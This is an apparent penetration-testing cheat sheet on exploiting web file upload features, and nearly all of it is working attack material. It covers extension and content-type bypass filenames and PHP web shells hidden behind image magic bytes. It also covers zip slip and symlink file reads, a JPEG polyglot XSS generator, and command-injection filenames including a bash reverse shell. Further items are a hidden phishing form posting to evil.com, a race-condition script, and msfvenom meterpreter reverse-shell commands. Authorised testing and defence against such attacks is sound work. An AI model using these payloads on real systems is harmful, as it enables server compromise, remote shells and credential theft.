File Upload Attack
Last modified: 2024-12-12
It is often used for gaining access to the target shell using Reverse Shell, or getting sensitive information using Remote Code Execution (RCE).
Check Allowed File Extensions
First off, we need to know what file types are allowed to be uploaded in target website.
Try to upload any formats.
.php, .php3, .php4, .php5, .phtml, .phar
.jpg, jpeg, .png, .gif
.bmp
.pdf
.js
.exe, .dll, .asp, .aspx
.jsp, .jspf, .jspx, .xsp
.py
.go
.rs
Create Blank Files for Each Format
To create a blank file for the checking purpose, execute the following command.
- jpg, png
# https://superuser.com/questions/294943/is-there-a-utility-to-create-blank-images
convert -size 32x32 xc:white test.jpg
convert -size 32x32 xc:white test.png
# https://unix.stackexchange.com/questions/277892/how-do-i-create-a-blank-pdf-from-the-command-line
convert xc:none -page Letter a.pdf
Bypass File Extension Validation
We might be able to bypass file extension validation by modifying the filename.
For example, if we cannot upload a pure .php
file extension, tweak the filename a bit as below.
exploit.php
exploit.php3
exploit.php4
exploit.php5
exploit.phtml
exploit.phar
exploit.jpg.php
exploit.jpeg.php
exploit.png.php
exploit.gif.php
exploit.pdf.php
exploit.php.
exploit.php.jpg
exploit.php.jpeg
exploit.php.png
exploit%2Ephp
exploit.p.phphp
exploit.php%00.jpg
exploit.php%0d%0a.jpg
exploit.PHP
exploit.pHp
exploit.php/
exploit.php//
exploit.php\
exploit.php#
exploit..php
Bypass Content-Type Validation
We might be able to bypass the content type validation by modifying that.
For example, assume that we want to upload PHP
file to execute webshell or reverse shell, but PHP
files are rejected by the website.
In this situation, we might be able to bypass the validation by modifying the "Content-Type" from "application/x-php" to other types such as "image/jpeg", "plain/text" etc.
Here is the example.
------abcdefghijk
Content-Disposition: form-data; name="avatar"; filename="exploit.php"
Content-Type: image/jpeg <!-- Change this. Try other types such as image/gif, plain/text, etc. -->
<?php echo system($_GET['cmd']); ?>
------abcdefghijk
Change Upload Location by Filename
We might be able to upload our file to unintended location by path traversing with filename e.g. ../example.php
or ..%2Fexample.php
.
------abcdefghijk
Content-Disposition: form-data; name="avatar"; filename="..%2fexploit.php" <!-- Change this. -->
Content-Type: application/x-php
<?php echo system($_GET['cmd']); ?>
------abcdefghijk
Do not forget to test bypass techniques as below:
# URL encoding
%2E%2E%2Fexploit.php
# URL double-encoding
%252E%252E%252Fexploit.php
..%252Fexploit.php
Overwrite Server Configuration
We might be able to overwrite the web server configuration file such as ".htaccess", ".htpasswd" by specifying the filename to the name of the config file and write desired contents of that.
------abcdefghijk
Content-Disposition: form-data; name="avatar"; filename=".htaccess" <!-- Specify the name of config file -->
Content-Type: text/plain
AddType application/x-httpd-php .abc
------abcdefghijk
Magic Bytes
Reference: Wikipedia
If the website checks the magic byte of the uploaded file for allowing only image files to be uploaded, we might be able to bypass this validation by adding magic bytes before the actual payload.
The exif_imagetype()
PHP function is likely to be used for such validation.
In addition, we may need to change other values such as "Content-Type" depending on the situation.
PNG
Hex Signature | ISO 8859-1 |
---|---|
89 50 4E 47 0D 0A 1A 0A |
‰PNG␍␊␚␊ |
Payload example:
‰PNG␍␊␚␊
<?php echo system($_GET['cmd']); ?>
JPG/JPEG
Hex Signature | ISO 8859-1 |
---|---|
FF D8 FF EE |
ÿØÿî |
FF D8 FF E0 |
ÿØÿà |
FF D8 FF E0 00 10 4A 46 49 46 00 01 |
ÿØÿà␀␐JFIF␀␁ |
Payload example:
ÿØÿî
<?php echo system($_GET['cmd']); ?>
// or
ÿØÿà
<?php echo system($_GET['cmd']); ?>
// or
ÿØÿà␀␐JFIF␀␁
<?php echo system($_GET['cmd']); ?>
Hex Signature | ISO 8859-1 |
---|---|
25 50 44 46 2D |
%PDF- |
Payload example:
%PDF-
<?php echo system($_GET['cmd']); ?>
GIF
Reference: Web Design in a Nutshell
- GIF87a: The original format for indexed color images. It uses LZW compression and has the option of being interlaced.
- GIF89a: Is the same as GIF87a but also includes transparancy and animation capabilities.
Hex Signature | ISO 8859-1 |
---|---|
47 49 46 38 37 61 |
GIF87a |
47 49 46 38 39 61 |
GIF89a |
Payload example:
GIF87a
<?php echo system($_GET['cmd']); ?>
// or
GIF89a
<?php echo system($_GET['cmd']); ?>
RIFF WAVE
Hex Signature | ISO 8859-1 |
---|---|
52 49 46 46 ?? ?? ?? ?? 57 41 56 45 |
RIFF????WAVE |
Payload example:
RIFF????WAVE
<?php echo system($_GET['cmd']); ?>
Combine payload into image file
The payload can be executed by combining into an image file data.
For example, generate a blank image file at first:
convert -size 32x32 xc:white test.jpg
And then we can put our payload to the end of the image data:
ÿØÿàJFIFHHÿÛC
$.' ",#(7),01444'9=82<.342ÿÀ ÿÄÿÄÿÚ?
<?php echo system("whoami");?>
Zip
If target website restricts uploads to zip files only, the website (server) may unzip uploaded files internally and displays the result of decompressed file somewhere e.g. /upload/example.txt
.
Zip Slip
Create a file containing ‘../’ in the filename, and compress this file.
echo '<?php echo system("id");?>' > '../test.php'
zip test.zip '../test.php'
After uploading the zip file, target website (server) will decompress this file and may store the test.php
file into unexpected directory.
LFI with Symlinks
In local machine, create a symbolic link for a sensitive file. Then compress the symlink with zip
.
ln -s /etc/passwd passwd.txt
zip --symlink test.zip passwd.txt
When we upload the zip file to target website, the website decompress the zip file and may display the file of the symbolic link (/etc/passwd
, etc.). In short, we may be able to see the contents of the sensitive file.
JPEG Polyglot XSS
Reference: https://infosecwriteups.com/exploiting-xss-with-javascript-jpeg-polyglot-4cff06f8201a
We may be able to inject XSS by inserting arbitrary JavaScript code into a JPEG file.
We can generate automatically a polyglot JPEG with imgjs_polygloter.
Below is the manual exploitation flow.
1. Prepare JPEG Image
Here we create a blank JPEG image using convert
command.
convert -size 100x100 xc:white evil.jpg
# Backup for reproduction
cp evil.jpg evil_original.jpg
2. Create XSS Payload in Hex
We will insert the following JavaScript code.
*/=alert("test");/*
To insert it into JPEG file, we need to convert this to HEX as below:
2A 2F 3D 61 6C 65 72 74 28 22 74 65 73 74 22 29 3B 2F 2A
3. Start Hex Editor
Start Hex editor to modify our evil.jpg
. We use ghex
here but you can use your favorite HEX editor.
ghex evil.jpg
The original hex representation of the evil.jpg
is as such follow:
FF D8 FF E0 00 10 4A 46 49 46 00 01 01 01 00 48 00 ...
# Details of the Hex
# FF D8: Start of image
# FF E0: Application default header
# 00 10: The length of the JPEG header (`00 10` represents 16 bytes)
4. Insert Our JavaScript into JPEG File
Now start inserting our payload.
First we replace 00 10
after FF D8 FF E0
with our 2F 2A (/*)
.
FF D8 FF E0 2F 2A 4A 46 49 46 00 01 01 01 00 48 00 ...
By this, the length of the JPEG header is 12074 bytes (0x2F2A
in decimal).
Since the size of our payload is 19 bytes as below:
python3
>>> payload = b'*/=alert("test");/*'
>>> len(payload)
19
We need to pad out the remaining 12042 bytes (12074 - 16 - 19) with nulls.
Below is the Python code example to generate a polyglot JPEG file, which refers to https://github.com/simplylu/jpeg_polyglot_xss/blob/main/exploit.py.
payload = b'*/=alert("test");/*'
input_file = 'evil_original.jpg'
output_file = 'evil.jpg'
a = open(input_file, 'rb').read()
# Get the length of the header
header_size = int(a.hex()[8:12], 16)
new_header_size = int(payload.hex()[2:4]+payload.hex()[:2], 16)
# Calculate the size of nulls for padding
null_size = new_header_size - header_size - 16
# Get start and end
start = a[:40]
end = a.hex()[40:]
end = bytearray([int(end[i:i+2], 16) for i in range(0, len(end), 2)])
res = start + (null_size * b'\x00') + payload + end
with open(output_file, 'wb') as f:
f.write(res)
5. XSS with this JPEG
Inject XSS to make our JPEG to execute JavaScript code. We need to set charset
to ISO-8859-1
for executing that.
<script charset="ISO-8859-1" src="evil.jpg">
Malicious Filnames
Command Injection
# If the response comes after 10 seconds, the command injection is successful.
test.jpg;sleep 10
test.jpg;sleep+10
test.jpg;sleep 10#
test.jpg;sleep 10%00
test.jpg|sleep 10
test.jpg%0Asleep 10
;sleep 10 test.jpg
# Reverse Shell
test.jpg;bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
PHP Injection
<?php echo system('id');?>.jpg
"><?php echo system('id');?>.jpg
XSS
<script>alert(1)</script>.jpg
"><script>alert(1)</script>.jpg
SSTI
{{2*3}}.jpg
{2*3}.jpg
2*3.jpg
2*3}}.jpg
2*3}.jpg
${2*3}.jpg
"{{2*3}}.jpg
Truncation
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxtest.jpg
test.jpgxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
HTML Injection
Try to upload the file which includes HTML tags in the filename. It may affect the web page.
<h1>test.jpg
<!-- `/`: HTML entiry for '/' -->
"><iframe src="http://10.0.0.1">.jpg
"><img src=x onerror=alert(document.domain).jpg
"><form action="//evil.com" method="GET"><input type="text" name="username" style="opacity:0;"><input type="password" name="password" style="opacity:0;"><input type="submit" name="submit" value="submit"><!--.jpg
SQL Injection
Try to upload the file which includes SQL command in the filename. It may execute SQL Injection when uploading or other situations.
--sleep(10).jpg
Race Condition Attack
We might be able to bypass/execute payload using race condition.
We can easily achieve that with Turbo Intruder in Burp Suite.
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=10,)
request_post = '''POST /avatar/upload HTTP/1.1
Host: vulnerable.com
...
...
Connection: close
------abcdefghi
Content-Disposition: form-data; name="avatar"; filename="exploit.php"
Content-Type: application/x-php
<?php echo file_get_contents('/etc/passwd'); ?>
------abcdefghijk--
'''
request_get = '''GET /files/avatars/exploit.php HTTP/1.1
Host: vulnerable.com
...
...
Connection: close
'''
engine.queue(request_post, gate='race1')
for i in range(5):
engine.queue(request_get, gate='race1')
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
PHP Payloads
After finding vulnerability, we can create a payload for exploiting the website.
Here is the example payloads of web shell and reverse shell to compromise target system.
Web Shell
For example, the file name is "exploit.php".
// Simply showing the result of 'whoami'.
<?php echo system('whoami'); ?>
// This shows the content of "/etc/passwd".
<?php echo file_get_contents('/etc/passwd'); ?>
// We can execute arbitrary commands by passing the url parameter e.g. "/exploit.php?cmd=whoami"
<?php echo system($_GET['cmd']); ?>
Reverse Shell for Linux
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php -O shell.php
# or
cp /usr/share/webshells/php/php-reverse-shell.php ./shell.php
# Edit some variables in the payload
$ip = '<attacker-ip>'
$port = 4444
Or we might be able to use the following simple script.
<?php shell_exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'"); ?>
Then open listener for getting a shell.
nc -lvnp 4444
After uploading it, reload the page in which the payload uploaded e.g. "/upload/shell.php"
.
Reverse Shell for Windows
First create a malicious executable file using msfvenom.
Replace 10.0.0.1 with your local ip.
# -f: Format
# -p: Payload
# -o: Output file
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe -o cv-username.exe
Next start a listener for getting the target shell.
# -x: Execute command
sudo msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST 10.0.0.1; set LPORT 4444; exploit"
After getting the shell, we will get in the meterpreter, so we need to know the meterpreter’s commands. To get a list of command, run the following in the meterpreter.
# Usage command
meterpreter> ?
Other Tips
Craft Upload Request
If website does not display the upload page but such functionality exists on the website, we can manually create the uploading request.
First off, we need to set multipart/form-data; boundary=<arbitrary_characters>
to Content-Type in HTTP headers as below.
Of course we need to specify the POST method at the top of the header.
Content-Type: multipart/form-data; boundary=abcdef
Then we can surround POST body (to upload file) with this boundary as the following.
--abcdef
Content-Disposition: form-data; name="profile"; filename="test.png"
Content-Type: image/jpeg
some code here...
--abcdef--